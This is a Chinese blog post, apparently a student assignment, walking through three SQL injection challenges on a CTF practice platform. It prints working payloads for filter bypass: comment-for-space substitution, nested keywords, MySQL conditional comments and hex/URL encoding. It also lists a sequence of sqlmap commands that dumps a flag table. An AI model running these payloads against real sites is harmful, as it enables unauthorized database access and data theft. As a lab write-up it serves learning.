NF_Exp10_20164306

sql注入探索与实践(免考题)

一、综述

sql注入攻击实质上是利用程序设计中的漏洞实现的

如果代码在引用sql语句之前,没有对传参内容进行控制,就容易被攻击者利用

本课题基于“实验吧”提供的注入实验平台,对sql注入进行全面且深入的探索性研究

由简单到复杂,在三种过滤条件下分析sql注入方法

二、一般流程

我将实战sql注入的一般流程简述如下

1 关键字

首先枚举输入关键字,探索代码过滤的具体内容,即明确哪些内容可作为参数传入sql语句

关键字包括但不限于数字、字母、特殊符号、sql运算符

2 sql语句

然后构造参数使得代码引用sql语句时出现错误,通过错误信息对sql语句的具体内容进行判断

即明确代码具体引用了哪条或哪些sql语句

3 表单结构

实战中,为了全面深入地发掘信息,我们可能需要利用代码调用的sql语句探索表单结构甚至是数据库结构

4 辅助工具

必要时,使用辅助工具(编码、爆库 etc.)

三、情境一

界面如下所示

首先尝试输入最简单的注入代码 'or 1='1

很幸运,数据库直接就吐出了表单内容,可以看到其中有ID和name两个字段

猜测代码只是简单地调用了select语句,且没有对输入内容过滤

输入sql语句进行测试,发现部分语句被过滤

可以判断代码具有过滤机制,但并不完善,我们可以构造输入内容绕过

不幸的是,当前表单中并没有我们想要的内容(flag),我们需要对数据库结构和其他表单的内容进行探索

好在通过上述测试,我们已经发现了代码漏洞

只要构造出合适的输入内容,我们就可以随意地调用sql语句,查询其他表单中的内容

进一步实验发现代码对sql语句的过滤与空格有关

以上结果显示,代码过滤了and及and后的空格

同时,也有些sql语句不会被代码处理,比如之前实验中的or怎么都不会被代码过滤

保险起见,我在构造中用注释替换全部空格

通过select database()来确定当前的数据库名

1' union/**/select/**/database()'

数据库名为web1

此外,也可以用tab来绕过,但是%a0啥的不行

information_schema 是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据的数据)

数据库名、表名、列的数据类型、访问权限等都存储在 information_schema 之中

尝试通过information_schema获取web1中的表单信息

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1

然而报错了

实验发现,代码对table_schema这个字段进行了过滤,但是information_schema是可以正常输入的

 干脆就直接枚举全部的表单

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/'1'='1

找到了一个名为flag的表单

获取form flag中的全部内容

1' union/**/select/**/*/**/from/**/flag/**/where/**/'1'='1

提示字段数量不一致,没法在使用union连接的情况下直接输出

没办法,只好先查看flag中有哪些字段

1' union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

information_schema.columns离奇消失,看来是被过滤了

大胆猜测字段名也是flag

1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

嗯这应该是我们要找的东西

ps:后来发现可以它不是通过判断某个单词,而是通过判断整个关键字来过滤

通过关键字里面套关键字的方法可以完成字段查看(删去套进去的内容后,留下的组合起来正常使用)

1' union/**/select/**/colucolumn_namemn_name/**/from/**/information_schema.coinformation_schema.columnslumns/**/where/**/table_name='flag

 

四、情境二

emmm,一样的界面

尝试最一般的 'or 1='1

好吧,开始测试被识别出的内容具体是啥

首先数字是没有问题的

数字加字母也没有问题

简单测试sql语句和特殊符号

看来是直接过滤了空格字符

查询数据库名

1'/**/union/**/select/**/database()'

失败

进一步发现是对部分sql语句进行了过滤

出现相应语句后直接禁止访问,并不是删除后再提交,所以较难定位被检测的语句,也较难构造输入内容

继续尝试,输入1'的时候提示sql语句出错

综合报错信息和地址栏内容变化,猜测代码实现原理是定位输入框,获取其中内容作为sql查询时使用的参数

网站源码验证了这一猜想

受到URL启发,尝试把字母(select)转换成16进制表示,直接在地址栏中输入

尝试加入空字符(%00)

可以通过加入空字符绕过过滤

修改一下代码

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

使用%2B表示空格,在可能被过滤的单词间加入%00

1'/**/uni%00on/**/sel%00ect/**/flag/**/from/**/flag/**/w%00here/**/'1'='1

直接在URL中输入,提示错误,看来加%00不能从根本上解决问题

尝试两次ULR编码加字母大写,也无法绕过

尝试sql语句条件注释,利用其选择执行的性质把关键字输入进去,得到了flag

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

注意到这里的select仍然是原始状态传过去的,但没被过滤

看来可以利用php没法解释sql注释的bug绕过,直接用注释替代全部空格,就能注入成功了

(晕,折腾半天后才发现最开始的输入就能注入成功)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 五 情境三

还是这个界面

直接尝试用注释和条件注释绕过(失败)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

条件注释加16进制编码

1'/*!u%6eion*//*!sel%65ct*/flag/*!%66rom*/flag/*!wh%65re*/'1'='1

测试关键字,发现居然是数字1被过滤了

把数字1换成字母a,用URL编码一次,再次尝试(还是 hello)

a%27%2F*%21u%6eion*%2F%2F*%21sel%65ct*%2Fflag%2F*%21%66rom*%2Fflag%2F*%21wh%65re*%2F%27a%27%3D%27a

了解到在1被过滤的情况下,可以借助sqlmap工具进行注入

具体使用方法参考了别人的writeup,攻击过程mark如下

得到数据库

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

判断数据库正确性

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

获得表名

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables  

获得flag表中字段

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

dump具体内容

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"  

实质是一个暴力脚本,所以跑起来比较慢

跑完后得到结果

六 总结

通过实践对sql注入有了深入的了解

除了提及的空格绕过、URL编码,16进制编码,sqlmap等方法,还有布尔盲注等其他技巧可用于攻击

只有深刻理解原理,熟练掌握技巧,才能在实战中游刃有余

纯手工sql注入任重道远 

posted @ 2019-05-17 23:36  尽白  阅读(122)  评论(0编辑  收藏